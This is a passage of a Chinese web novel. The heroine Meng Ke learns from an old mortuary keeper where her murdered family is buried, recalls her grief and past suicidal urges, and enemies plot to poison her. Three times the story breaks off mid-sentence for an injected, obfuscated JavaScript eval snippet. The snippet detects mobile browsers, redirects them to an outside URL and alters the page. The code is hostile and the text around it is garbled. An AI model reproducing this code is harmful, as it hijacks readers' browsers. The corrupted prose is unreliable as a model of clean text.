孟珂扫视了义庄一圈，慢慢地道：“梁公曾说，生而为人，终非禽兽，当老有所养，死有所葬。设此义庄，非求寿比南山，唯愿……生可康泰，死能安息。” “没想到，小老儿有生之年，还能得见梁公故人。”他一时老泪盈眶，长吁了一口气，含笑看着孟珂道，“闻小姐此言，便知定是熟知梁公的人无疑。” 又叹了一口气道，“当年，梁公正是如此说。可这些年来，这地方却成了那些人敛财作恶的工具。梁公泉下有知，当如何心痛！” “梁公在天有灵，当已经知道了！”孟珂面露讥嘲，“不过，他便是要计较，也计较不过来那么多了。” 听她话中有话，意有所指，老馗看了看周冶，终究没有多言。 不过，瞧这二人关系匪浅，他心中一突，难道……周大人查办此案，便是因为这位梁公故人？ 若非故人，如何愿意为人所不愿为？如何能将事情办得如此周全，不负官，不负民，还费心保全梁公基业？ 难道……可看这两位的年纪，当年只是孩子。 孩子？这般年纪？老馗心内又是一震，再去看那小姐，可分明又看不出什么…… 孟珂顿住脚步，看着老馗：“老人家，我今日来，一则，是想看看这地方。二则，想问问老人家，是……因何在此做了暗子？” 她扫了周围一眼，继续道，“又是怎么独自一人，在这样的地方……扛过这么多年的。” 老馗笑笑，摇了摇头：“什么扛不扛的。我来此地的那日，就做好埋骨此地的准备了。无处可去，也无处想去，一日日地下去，便呆……到了今日。” 他看了孟珂一眼，目光逐渐悠远。 “当年，我这个百无一用的穷酸老书生，流落到此，病倒在路边，只当要成路边冻死之骨了。不料，竟路遇梁公父女，为其所救，苟活了下来。” 孟珂闻言回忆了一下，但父亲当年这样随手而做的事情很多，倒是想不起是何时何地了。 “他见我不愿再舞文弄墨，也不愿入府为奴作仆，被规矩束着，还没本事在外另寻差事，便问我……愿不愿帮他一个忙。” 忆起当年，他顿了顿，自嘲地笑道，“梁公说，‘义庄新设，力气活都有年轻人做，就缺个老成持重的。你要是不嫌晦气，就暂且到义庄，帮着管管事，等有了打算，再另做计较。’我一听，这再合适也没有了！” 老馗笑道，“对着死人可比对着活人省心，不用见世人嘴脸，不用被人拘着，不用吃人白饭，也不用再流落……就这样，我来了这里，呆了下来。” 孟珂看着他，心道，父亲应该也不曾想过，当日随手一安的这人，后来竟成了暗子，一埋多年，甚至在他死后仍忠其事，不离其位。 周冶见孟珂眼中似有泪光闪烁，但转瞬即消，轻轻问道：“那后来……” “后来，那些人被一个个安插了进来。” 老馗看着孟珂道，“随着梁公身体日渐不好，梁会长逐步接手了商会的事务，那些人便日渐明目张胆起来。我相信梁公绝不会允许这样的事，曾几次去梁家大宅，想与梁公说此事，可怎么都进不去。” “你一直进不去？”孟珂奇怪道，“怎会呢。” 老馗道：“我只得在宅外徘徊蹲守，有一次终于等到了梁公难得出门，但还是被管家拦下，说定会转告梁公。还说梁公身体不适，让我不要去贸然说这些事，以免刺激。于是，我也不敢再贸然行事。” “忽一日，梁公突然暗地里约见我。我才知道，他并不知情。他吩咐我按兵不动，收集证据，静待时机，一举清扫这些人。不料，没等来这一天，却等来了梁家出事的消息……” “管家没有转告？”孟珂问。 “应该没有。” 她垂着眸，看不清目光，脸上如冰封，这一瞬的神色，像极了梁公当日垂眸沉思的模样。老馗心中早有怀疑，此刻又多确认了一分。 管家？孟珂心中盘算着，的确，若无身边人阻隔，当日那些事断不会蒙蔽父亲至此。而那无常草之毒，能长期下却不被发现，也必定是身边人所为。 而接下来的事，不说也知道了。 *** 孟珂顿了半晌，讥嘲地笑道：“而梁家出事之后，商会彻底归了梁会长，黑石堂也大喇喇进来了，彻底一手遮天。” 老馗点了点头，自嘲地笑道：“他们看小老儿是个晓事的，惯会装聋作哑，绝不多事，便仍留我在此，充个门面。” “原来如此。”孟珂唏嘘道，半晌，抬眼看着他，冲他深深一礼道，“谢老人家大义！” 老馗忙要伸手去扶，又觉得自己污秽，手停在了半空，摆了摆道：“我不是冲着什么大义。我只是……做了故人交托的事。饭，不曾少吃一顿。觉，也不曾少睡一晚。” 孟珂深深地看了他一眼，又扫了义庄一眼，道：“老人家既不愿离开，便安心在此。若有什么需要，不管是您自己的，还是义庄的，可以上熹园找我。” 说着，想起他只怕不知，又补了一句，“熹园就是以前的梁家大宅。” 听到梁家大宅，老馗的身子冻住了一瞬，半晌，才重又抬头看向孟珂。良久，终究无言。 孟珂见他抖抖索索地从衣襟里摸出一个锦囊来。 那苍白皱巴的手指，在锦囊上抚了抚，最后看了半晌，抬手递向了孟珂。 孟珂接了过来，疑惑地看看老馗：“这是……” 老馗看着她：“这里是……梁公的埋骨之地。” 埋骨之地？一听老馗这话，孟珂脑中陡然一片亮白。 周冶忙伸出手去，虚虚地揽在她肩头。 孟珂无知无觉似的，没管他，灼灼的目光看向了老馗，似乎向他确认自己没有听错。 怎么会？她早就查过，当初梁家人的尸骨都“顺理成章”地送来了南山义庄，无碑无铭，早不知在哪处。加之，后来查出义庄卖尸骨之事，她还以为……他们大概成了最早一批被彻底消失的。 老馗看着她，缓慢而笃定地点了点头道：“梁家人都……烧成了那样，却也因此……留下了全尸。” 孟珂脑中又是一胀，目光模糊了一瞬，忙扭开了脸去，对着周冶的胸膛。十个指甲生生掐入了手心，强压着胸口的心潮澎湃。 周冶抬手轻轻揽住她另一边肩头，拍了拍。 老馗继续道：“但我想着，那些人就算不打算把他们也……但早晚也还是会嫌占地，总是要动的。也难保有那不明就里的人，去误动。于是，我便悄悄一个个起了遗骨，迁走安葬了。” 孟珂从周冶怀中抬起脸来，转头看着老馗，嗫嚅道：“原来……是您。” 老馗笑着看了看手中锦囊，叹道：“我也活不了几日了。原想着，在一日，便守一日，只是怕我死后再无人看顾。总归得找个妥帖的人，托付才是。” 说着，看了周冶一眼，“我本想着托付周大人。没想到，还能有幸见着小姐。既是……故人，便交予你了吧。若……梁家还有人，便请小姐，代小老儿交予那……该交的人吧。” 孟珂从周冶怀中转过身来，说着便要下拜道：“我……代梁家人，感谢您老！” “小姐不必如此。”老馗急急拦道。 说着，转头看着身后的坟坡，“梁公慈悲，给了小老儿和很多素不相识的人，最后的体面。我也当给梁公一份，他值得的体面。” 他将手中锦囊重新递给了孟珂，见她收在手里，终于松了口气，笑道，“如今，小老儿余愿已了，再无牵挂了。” “二位，请自便吧。” 说完，转过身去，虾着背，负着手，慢悠悠地走进后堂去。 *** 回程的马车上，孟珂发了好久呆。 见她手捏锦囊，一次又一次低头去看，却始终不打开。周冶忍不住问：“不打开看看？” 她没应声，过了半晌，却没头没脑地苦笑着说了一句：“这……是我母亲绣的。” 只一句话就红了眼。 她忙低下了头，似乎不愿让人看见，将锦囊拿在手中，摩挲着上面的刺绣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999191|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “母亲她……随外祖母，手特别巧，绣工一流。自小，我身上的东西，从头到脚都是她亲手做的……” 两句话，她眼前就模糊到看不见了。 她顿了顿，含泪笑道，“可我……什么也不会！” “我连一件完整的东西都没绣成过。有一回，好不容易想起来做个东西，开了头就做不下去了，还是母亲替我收的尾。我这辈子，也就给二哥哥打过几条不成样子的穗子，也就是他不嫌弃罢了。” 她抬着泪眼看向周冶，抬了抬眉毛，好像在说什么好笑的事。 “小时候，我见她手中总是拿着针线，可就是不教我。孩子嘛，总是看着大人做什么，便想跟着学。我常常偷偷拿她正在做的活计，做上几针，但每次总能被她一眼瞧出来……” 她笑着看向周冶，又挪开了目光，叹了口气道，“那时候，她总跟我说，除了念书，其他都不过百日之功，学这些手艺活不着急。” “她总说，姑娘家也要读书明理，也要能靠自己立身于世，让我以念书为第一要务，要学管家，学理事，学银钱账目……至于针黹女工什么的，以后有功夫的时候再学不迟……谁知，根本就没有那个以后……” 她深深地吐出一口气，转眸看着周冶笑道，“她自己天真了一辈子，至死都不通世情，不懂人性，也没有独自立身于世的能力，偏给我说这些。你说好笑不好笑？” “她教我管家理事，教我为贤妻，为良母，可是……我哪有她那样的幸运？” “也不知为什么，那时候，我心中就隐隐觉得，我大概不可能有她那份幸运。” “我没有她那样，做女儿时得父兄宠爱、母亲偏疼，出嫁有夫君爱若珍宝，还有孩儿听话懂事的幸运；也没有她那种从无机会得知人心险恶、世事凶险的幸运；更没有她那种……人到中年，还保有一份烂漫的少女之心的幸运。” “她这一生，真正做到了……至死天真！”孟珂低下头，笑道，“我其实……一直很羡慕她。大概是我早就预知到，我没有那么幸运。我的路，同她截然不同。” 听她说着，周冶不知道说什么能安慰，但孟珂似乎也并不需要任何安慰，甚至也不需要倾听似的。于是，他也只静静地听她说。 她说话的时候，一直在笑，有苦笑，有自嘲的笑，有心痛的笑，有悲凉的笑……周冶第一次发现，有人可以这样，明明在流泪，却偏偏一直笑。而她越是这样，越让人觉得心疼。 孟珂顿了许久，泪眼迷蒙地苦笑道，“但是，那时候的我，也怎么都不会想到，摆在我面前的竟是一条……一条如此…..” 她突然发现，自己竟找不出那么个合适的词来，说她独自走过的这一路。 艰难吗？再艰再难她都不怕，她都能一个接一个地解决。 殚精竭虑、如履薄冰吗？是，但这也是她能应付的事。 孤独吗？她已经习惯了孤独，如今甚至更习惯散，而不习惯聚，或者说，她总是以随时离散的心，在同这一路的人暂聚，比如卢宽，也比如周冶。 她从来不是个喜欢自怜的人，更不喜欢在情绪中载浮载沉。 她总是目标明确，心志坚定，理智冷静。 可是，今日陡然回望这条路，这一刹那，发现自己竟不知如何去说的时候，心中竟这般为自己难过，难得地觉得自己可怜，又有些可笑。 她不由想，母亲如果知道女儿面前的是这样一条路，她会如何？会想着不如带她一起走，不要独留她于世间吗？ 母亲必定宁愿以身代之，粉身碎骨也在所不惜。可是……可就因为她的母亲是她，便注定了，她将走的就是一条这样的路。 听说，强势的母亲会养出懦弱无能的孩子。而天真如孩子的母亲，她的孩子便从来都做不得真正的孩子。 那个家里，母亲当过天真的孩子，父亲当过胡闹的孩子，只有她那个真正的孩子，却从来没有…… 她轻轻地闭上眼，长吁一口气，很快便收住了泪。 只见她以手捧脸，片刻后再打开，便冲着周冶若无其事地笑道：“我去水边，洗把脸。” 若不是眼睛红肿，泪痕斑驳，从她的态度，几乎看不出方才落泪过。 不待他言语，雨歇便冲车夫喊道：“停车。” 95. 心火 马车在湖边停了下来，孟珂朝水边走去，也没让人跟。 她在水边蹲了下来，看着水中的自己，觉得有些陌生。这都已经第几次动心绪了？回绥陵之后，她好像变得情绪化了许多，这说明什么？说明她还不是个死人，还是有那么一部分……依然活着？ 想到此，她冲着水中的自己，惨然笑笑，还是这张脸，却是有些不同的。她抬手轻轻抚上面颊，摸到了泪水残留的黏腻，那种不该存在这张脸上的东西。 她立马伸手鞠了一捧水，泼上脸去。 冬日里的湖水彻骨寒凉，她一个激灵，只觉全身都瞬时冰镇了一般，但那些残留的起伏心绪也霎时便被彻底激散了。正如那水面漾起的波纹，一圈圈散开，很快便平复了下来。 她忽而看见，周冶不知何时，不远不近地站在了身后。 周冶在水中对上她的目光，上前递过一张丝帕：“水边风大，当心着凉。” 孟珂微微侧头，接过手来，对着水沾掉了脸上水渍，站起身来，递回给他。 两人慢慢往马车走去，周冶见她手中不知何时又捏着老馗给的那锦囊，抬眼看了看天色，问她：“你要是不累，我这就陪你去看看？” “谁说我要去？”她看了一眼手中锦囊，带着淡淡的笑，抬眸看向他。 周冶惊得站住了：“你不去？” “以后……再说吧。”孟珂也停了下来，“现在，我还不想打开它。” 周冶的目光落在她脸上，看了许久，才点头道：“嗯，也……不急于一时。” 两个人一时都静了下来，但也都没挪步。她也没收起来，反是呆呆地看着它。 周冶猜她终究还是不能真的放下，试探地问：“要不我替你看看？” 孟珂微微转头，看着他，似在考虑。 周冶解释道：“我是想着，老馗说的没错，他不知还有多少日子。你现在不看，若是哪天遇到什么意料之外的状况，这锦囊丢了，掉水里、火里了……不就再也找不到了。你不想看也无妨，我替你看了，就算替你备了个万一。” 不待孟珂答话，他忙又补了一句，“当然了，你让其他人看也一样，比如回雪……” 话没说完，孟珂就把锦囊往他面前一递：“好，你替我看吧！” “真……真让我看？”周冶反倒愣了一瞬，毕竟，她家人的埋骨之地，说是她最大的秘密和软肋也不为过，他看着她，确认道，“你真信我，就不怕我……” “怕你做什么？”孟珂反倒笑了，反问他，“怕你告诉别人？还是怕你将他们挫骨扬灰？” 她落寞又讥嘲地道，“他们…..哪里还辨认得出谁是谁，又哪里还怕什么挫骨扬灰？” 周冶“嗯”了一声，珍而重之地接过手来，打开看了，抬眼见她往着水面，不知在想些什么。 他将锦囊递回给她，她便若无其事地收了起来。 顿了许久，她才抬眸看着他，说道：“你既看了，有空的时候，便……代我去看看吧。” “也是，你现在……还不方便做这些事。”周冶点着头道，“我去，以查案为名，既名正言顺，也不引人注意，能顺便照护了。” 孟珂看着周冶，抿了抿唇，没言语。 她不是没办法不引人注意地去，而是……怕自己还没有办法面对，至少现在还不行。 等一切都结束了，再说吧。虽然，到那时，她也不知道自己还有没有命去了。不过，即便那样，周冶想必也会记得今日的许诺，替她照护一二吧。而这，才是备这个万一的真正意义。 若她有什么，甚至卢家有什么，还有他。 她几不可闻地吐出一口气，没说什么，冲他笑着点了点头。 周冶看着她的目光，虽然不知她到底在想些什么，但她愿意交托秘密，愿意让他走近一步，愿意信任和托付自己，他心中，很是欢喜。 湖上一阵风来，带着春草的气息，仿佛一只温柔的手，又轻又缓地抚着人的发丝，蹭着人的面颊，平白撩拨起无限的柔情来。 面前的一切好像都慢了下来，声音也像柔了下来。 *** 周冶转头看向她，发丝在风中轻轻掠着，面颊时隐时现，就像她这人一样，永远犹抱琵琶半遮面。她是那么坦荡，却又那么神秘。她揭露了不少，可身上还有太多他不知道的。 而他想知道，她都经历了什么，想知道她那些心存死志的日子，那些淌过黑暗的日子，她所有的日子。 “方才在义庄，你说，你曾心存死志。”周冶斟酌着词句道，“你身子本就不好，为何还会四处去游历？莫非是为了治病求医？” “并非求医。”孟珂摇头道，又笑了笑，“我这终究是心病，药石难医。” 她看了周冶一眼，又看向了湖上。沿湖的绿树，梢头染上了一层如云的新绿。 “不管多严酷的寒冬，都会过去。只要活下去，新绿就会如期而至。”卢翰曾站在她床头，看着一脸木然的她说道。 “孩子，我知道，现在你眼前是一片黑暗，你一点力气都没有。但是，只要你往前走。不管多慢，多无力，只要你一步一步地往前走，你眼前的黑暗，就会过去。” 她真的那么一步一步地往前挪，不管姿态地往前挪。多吃一口饭便算一步，多睡一点觉，便算一步。每挨过一日，都是一步。 后来，每多做一件事，也算是一步。 看孟珂陷入回忆，周冶便静静等着，也不催促。回忆，很多时候并不是一件快乐的事。而开口，往往也是一件艰难的事。 孟珂终于开了口：“父亲……卢家父亲明白，我心中的结不解，身子怎么也不会真正好起来，就那么萎靡下去，也不知能拖到几时。即便活下来，也病病歪歪，虽生犹死。” 了解她状况后，卢翰便对她道：“孩子，我知道，你现在心中有巨大的无力，也有很多不解、不忿。如果你只想呆在这深宅大院，我会护着你，不再让你受到一点伤害。” “但是，如果你能走出这院子，走出这宅子，你就可以到外面去，去看看这万象人间，去看看那芸芸世人。你可以到当中去，去解开你心中的困惑。你甚至还可以在认清这世间、世人之后，解惑之后，做点什么。” 做点什么？这几个字轻轻地拨动了她的心弦。她还能做点什么？ 卢翰这人的话本就不多，不太跟孩子亲近。何况，他们在此之前就是全然的陌生人。他不了解她，不熟悉她，即便了解和熟悉，要接近和帮助她，也很难——她不是普通孩子，而是经历了那些变故之后，才站在他面前的身心近毁的孩子。 他只能把她当成个可以理解那一切的大人。好在，她也的确不像自家那个还什么都不知道的二小子。 她没说话，但她的眼神清清楚楚。她能听懂每一句对那个年纪来说有些难度的话。 “是从此什么也不管，安稳地过一生，还是一点点积攒你的力量，改变你的无力，甚至将你心中的怨发出去，恨都撒出去……”卢翰看着她，坚定地道，“孩子，你是可以选择的。” “你也可以都去试试，不喜欢了就换一种，也行。” “我要选择，”孟珂终于开了口，“我要试试……改变这种无力，试试有怨报怨，有仇报仇。” 孟珂又顿了许久，才开口继续道，“我病了大半年，待能出门的时候，卢家父亲便让二哥哥带我出去游历，既为散心，以便养病，也为了……让我找到自己真正想做什么。” 临走的时候，卢翰对她道：“三年。这三年你什么都不用想。你就用这三年时间，去游历，去享受，去生活，去找人间的一切可乐之事，值得你活下去之事，不管那是什么。” “三年后归来，如果你还想复仇，我帮你。” 那时候，她以为卢翰这么做，只是让她想清楚，做出他说的那个选择，以便踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999192|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上复仇之路后不再犹疑。 后来她才明白，他还有另一重用意。 对一个心火几近熄灭的人来说，比起想清楚要不要复仇，能承担什么代价来复仇，更紧急的其实是吊住她的心火，是让她在对世间一切都失去信心与兴趣的时候，寻找一切可能的柴火——哪怕是复仇之念，来护住那最后一星心火。 有那一簇心火，她才能活下去，才能谈得上其他。 “最初的时候，我只是傀儡般坐在马车里，行走在路上，木然地看着窗外的风景。” 那时候，她看见荒冢，看见大片的墓地，便感受到一种巨大的吸力，便想要下车，想走进去，想留在它们之中。 看见路上飞奔的马车，她也有走上去，假装呆呆地顿在原地，等待被撞飞的冲动。 看见悬崖、深渊，她也有走上前去，纵身一跃的冲动…… 不过，每一次，她都只是静静地、清晰地看着自己脑中那些冲动，转头看着身边的卢宽，一个字也说不出来。 有他，有卢家父亲，有所有那些活着的、死去的人，她都不能吐露一个字，也不能做出一个举动。 她就那么静静地任脑中念头兀自疯着。 “二哥哥带着我到处走，带着我吃喝，带着我去各种该去不该去的地方，做各种该做不该做的事。” 她想到了什么好笑的事，扫了周冶一眼，“我第一次喝醉酒，便是他带我的，第二天醒来发现，人居然可以不记得发生过什么事。但也模模糊糊知道，自己大哭了一场，说了很多话，做了很多根本不像自己的事……” 喝酒？周冶不由想到，她曾说过，如今不怎么喝酒了，便是因为差点做错事。这做错事，也是和卢宽一起吗？那差点做错什么事呢？ “那时候，人间的欢乐，我就那么冷冷地旁观着。人间的烟火，我即便身处其中，也总隔着遥远的距离。人间，对我没什么作用……” 她抬眼扫了一眼湖面，笑着道，“不过，天地山川还是有魔力的。” “忽一日，我们行经一片大湖。看着那熟悉的、想要纵身跃入其中的粼粼波光之上，覆盖着皑皑白雪的墨色山川，我忽而便生出一个念头——便是要死，也该将这人间至美先看一看，再死不迟。” 看着眼前的湖光山色，周冶仿佛看到了她如何心如死水地行走其间，又如何泛起那么一点涟漪，那么一滴活水，如何一点点打破她心中死寂，将她的冰湖解冻…… 然而，静静地听她用时过境迁的、极其平淡的语气，说着那些生死交关的事，仿佛就像轻轻掸去不小心沾上的轻灰一样，他的心，却缓慢而深深地揪了起来。 耳边，孟珂仍在轻轻地道，“便是那一瞬，这个念头在心中扎下根来，我渐渐不太常去想死了，渐渐地好像淡忘了很多事，渐渐地可以笑了……” 她吐出一口长气，“这么两三年后，我算是……活过来了大半。” 而这，也是卢翰想在她心中续心火的柴火。 说完，孟珂看向周冶，若无其事地笑笑。 “还好，你活过来了。”周冶看着她道，辛苦你了，那么一步一步往前走，然后……走到了我面前。 真正活过来了吗？孟珂笑笑，她有时也不知道。 自那一夜，她失去了自己的家，也失去了自己的名字、身份，后来失去了自己的面貌。有时午夜梦回，她都不知道自己是谁。 过去的那个自己，仿佛是一场梦。 只有复仇在提醒她，那不是梦，她没有疯，而是真真切切发生过的事。 顿了好久，孟珂抬眼直视着周冶：“你为何……不拦我？” 她这么没头没脑地问，但周冶明白她问的是什么。他笑着看她：“我为什么要拦你？” “你的仇，再亲近，也是外人。再被背叛，再心痛，也还可以刀剑相向。” 周冶顿了顿，又道，“既然可以，为什么不呢？” 96. 埙声 周冶的话意有所指。孟珂当即想到了关于他家的传言，但看他只淡淡一句便拂过了，于是也不多问，待他想说的时候再听便是。而另一件事也浮上了心头。 她看向周冶，轻轻地道：“我也该搬回熹园了。” “搬回熹园？”周冶猛地转头去看她，重复道。 孟珂同他的目光对了一瞬，便挪开了。 他的试探，她不应，还要躲了？ 可是，他也没什么理由再留人，于是笑笑道：“定了时候说一声，我叫人帮你收拾。” “不用。”她轻轻摇了摇头，笑道，“这些日子以来，已经劳大公子照顾。” 一句话又将他推出去了好远。 周冶看着她，点了点头：“本就是我闹出来的，自当负责。” 两个人一下便没话说了，默契地回了马车，接下来的路程也都异常沉默。 孟珂看着车外，周冶则静静地看着她。 他以前觉得，卢宽同她这样难得的情谊，却一直被她挡在外面，多少有卢宽的原因——他虽看着桀骜，心里却有些面，顾虑太多，少了些勇气。一个踯躅不前，一个心志坚定，于是，二人便那么僵持在一个位置。但凡卢宽能不管不顾些，也许早就磨得金石为开了。可现如今，他却有些吃不准了。 她这个人心太硬了，对别人硬，对自己更硬。 她就像一片永不决堤的海，任狂风巨浪，也不洒出一滴水来。 看着这样的她，他时常心生敬佩，莫说女子，便是男子，他也未见过多少如她这般心志坚定之人。 可如今看着她这般坚定，他却有些哭笑不得——他该拿她怎么办呢？ 回到县衙，两人各回各的院子。跟在后面的雨歇和洗墨不由面面相觑，不知这二人在湖边发生了什么事，怎么就这么静静地冷成了这样。 这夜，听风轩里传来阵阵埙声。 比往日多了些低徊的呜咽，苍凉的悲鸣。 “这埙，原该是游民浪子之乐，与他这贵公子竟也异常搭配。”孟珂听了许久，自言自语似地道。 不过，他这人总有种化腐朽为神奇的本事，什么不搭的东西在他身上都能奇异地和谐起来。看过他这个地方父母官脚着木屐，没样子地走在大街上，随手摸出埙来，吹上一曲民间之乐也是寻常。 回雪替她梳着头，手上顿住了，看了她一眼道：“雨歇说，小姐今日同周大公子说了要走？咱们呆在衙门里不是还方便些。小姐这时候想走，是因为顾虑周大公子吧？” 回雪一向心细，孟珂也不瞒她，看了她一眼，淡淡地道：“人这种东西吧，若是没有交情，做事不便。可交情要是多了……又该影响做事了。” 马车上，她清楚地感受着周冶落在她身上的目光。那目光仿佛一把直指她的利剑，她稍稍一动，便能划破自己好不容易维持住的平静与淡然。 她连呼吸都不敢重了，脖子都僵了，身子也不敢随便动上一动。 她极力控制着自己其实想回头，想要迎接那目光的冲动。 “小姐从来比谁都理智，实则静水流深。小姐比谁都更重情，也更深情。”回雪看着孟珂道。 所以，也比谁都谨慎。 孟珂淡淡一笑，看向回雪，她是陪伴自己最久的，也是最了解自己的。有些话不需要说，一个眼神便了解。 是啊，她已经习惯了万事一个人，再不敢放多一个人进来。她承受不起再失去，于是宁愿不拥有。 回雪看看她，又看向隔壁院子，二公子的一片真心，她装看不见，却也还不需要躲。这周大公子，终究是不一样的。 “该做正事了。” 孟珂转开了话题，“通知苏姒，这几日便会将梁云钦从牢里弄出去，我们也……正好回熹园去。” 回雪应道：“是。” 听风轩里，埙声还在低鸣。 “嘿，公子好久没吹埙了，今夜怎么在这呜呜地吹一夜？”洗墨看着一旁仔细擦着剑的侍剑，奇道，“也不知他们到底说了什么，湖边下马车的时候还好好的，上马车就不对了。也不像闹崩了呀！” 侍剑看了他一眼，回头继续擦剑，也不理他。 洗墨看了看公子手边的酒壶，继续自说自话道：“嗨，就吹吹埙吵吵怎么了？喝了酒不砸东西，不打骂下人，不吵不闹的，咱家公子这酒品，已经顶顶好了！” *** “你说他这事是收着办的，你说这事还有得缓，看看都‘缓’成啥样了？”孙九爷怒道。 国丧的这些日子，黑石堂的漏网之鱼被清理得差不多了。邻近州县的据点也都被白水门陆续清理殆尽。 “谁能想到，先帝缠绵病榻那么久，偏偏这时候驾崩，让京中……那位，根本无暇顾及？倒是让周冶和白水门又钻了个空子，一鼓作气扫一通！” 孙九爷又恼又困惑，“他明明是奔着梁云钦去的，结果转身就杀我个措手不及！咱们还想看梁云钦的笑话，没想到自己立马成了笑话，一步错，步步错，到如今……” 一旁的梁夫人，吐出一口恶气，叹道：“这次是失算了！本想着，就靠衙门那点官差，根本动不了黑石堂。他只要想动手，必须向外要兵马，我们必能拦下，谁想他竟然会动用江湖力量！” 孙九爷一拍桌子：“还用了下软筋散这种……下三滥的手段！不然，我黑石堂岂是那么容易让他一举拿下的？” 梁夫人忍住了翻到一半的白眼，嘲道：“败了就是败了，别人对付你，还挑手段？” 孙九爷被她一噎，将喷薄而出的怒火压了下去。 梁夫人瞟了他一眼，轻声一哂道：“都说强龙压不过地头蛇。这周冶才来多久，硬是把你这强龙压了。” “他能想到勾连白水门，杀个回马枪，一日之内便对商会和黑石堂下手。这样灵的脑瓜，这样稳准狠的霹雳手段……之前真是小看他了。也不知他是怎么勾搭上白水门的？不过，这两方各取所需，倒真是皆大欢喜，能搭上也不算奇怪。” “他这样堂而皇之地暗度陈仓——把你的人都拿了，可案子却是悄悄办的，还不开罪上头。若不是对头，我倒还……” 她看了孙九爷一眼，将下面的话收住了，转而道，“周冶终究没掀开这案子，对我们来说是好事，大不了换个地方再起炉灶。你就在这儿安生一段日子，过了风头再说。他周冶总不敢直接来搜检我思园的内宅。” “安生？就这么算了？” 孙九爷“腾”地站了起来，“他就这么把我……把我们这么多年的心血毁了，我们就这么哑巴吃黄连，认了？” “不然呢？”梁夫人面色转厉，反问道，“你想怎么样，你能怎么样？送上门去让他一起抓了？在牢里凑齐你的黑石堂？” 孙九爷看着她，迟疑了一瞬，抬手在脖子处一拉：“有他在一日，咱们就一日不得安生。” 梁夫人看了他一眼，心下忖道，若能警告警告周冶，倒也不失为一得，让孙九爷自己去折腾折腾，也省得在这儿憋出麻烦来，于是语气放缓了道：“你想给他点颜色看看，也不是不行。” 梁夫人边想边道，“咱们不若先拿他身边人开刀，杀鸡儆猴。咱们不能直接把事做绝，毕竟，他也没把路走死。” “谁是这只鸡？” 梁夫人笑道：“他不是藏了个乡下丫头在衙门内院？” “那个丫头？”孙九爷摸着下巴，明显心有不甘。 “动他眼下最心热的女人，既能警告，也没把咱们之间的路走死，以后还有得转圜。” 梁夫人笑道，“况且，他藏这么个女人，本就不体面，即便出了事，也只好吃了这个哑巴亏，谅他也不好意思大肆宣扬出去。” 哑巴亏？这三字倒是戳进了孙九爷心里，他心有不甘，但终于没再反对。 *** 对久病之人来说，春天最是难熬。孟珂好一阵坏一阵的，仍日日用药冰浴。 日中阳气最盛，可冰浴仍是受罪。突然听得外面吵嚷起来，孟珂不由皱起眉头：“外面在闹什么，去看看。” 回雪迟疑道：“可小姐你这儿…….” “这不是还有红荔在吗？”孟珂道，“你去去就回，我这儿还有好一会儿呢。他们在外头闹得我心烦，更熬不下去了。” 回雪交待红荔小心伺候着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999193|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便出去了。 一群人押着个婆子，正往院子里来。 “回雪姑娘！”厨房管事的婆子一见她，就急道，“这个婆子在小姐的药罐周围鬼鬼祟祟地。我们上去擒住了她，她还不认。” 说着，将一包东西递了上来，“结果让我们搜出了这东西。” 回雪从她手中一看，又扫了那婆子一眼，疑惑道：“这事，为何不回报涤砚处置？” “已经报过了，”那管事的婆子道，“涤砚小哥说了，既是想动小姐的东西，就交由小姐来发落。而且今日不知怎么的，后院都没人，洗墨小哥和大人都不在，我们也是让人去外书房报的涤砚小哥。” 外面的吵闹小了下来，孟珂的眉头也慢慢松了下来，但她今日也不知为何，泡着格外难受，可也说不上来怎么了。 忍了好一会儿，她对一旁的红荔道：“我今日有些顶不住，少泡些时候，去换热水来。” “热水还没来。”红荔瞅了外面一眼道。 为免放凉，热水平常都在灶上备着，估摸着时间送来，今日不知怎的晚了一些，偏小姐又换得早些。 孟珂有些喘不过气来，抬手抚着胸口：“你去催一催。” “可我走了，这儿……” 红荔迟疑着，可一看小姐的面色是不太好，不再多话，掀帘往外一瞧，见外间有个丫头正在打扫，忙抬手唤她，“你去厨房，叫人马上把热水送来，小姐等着用。” “姐姐，厨房在哪里？”那丫头怯怯地道，“我是新来的……” 这丫头去，厨房的人未必拿她当回事，红荔只好道：“算了，你就在这儿听小姐吩咐。” “小姐，我快去快回。”她一边转头对里面说，一边脚下不停地出去了。 “入口的东西，怕是都要验的。哪里就能轻易得手？”思园里，孙嬷嬷同孙九爷道。 孙九爷一摆手，笑道：“无妨。咱们又不只靠那一手。下毒的若能成，自然好。成不了，也能制造混乱。” 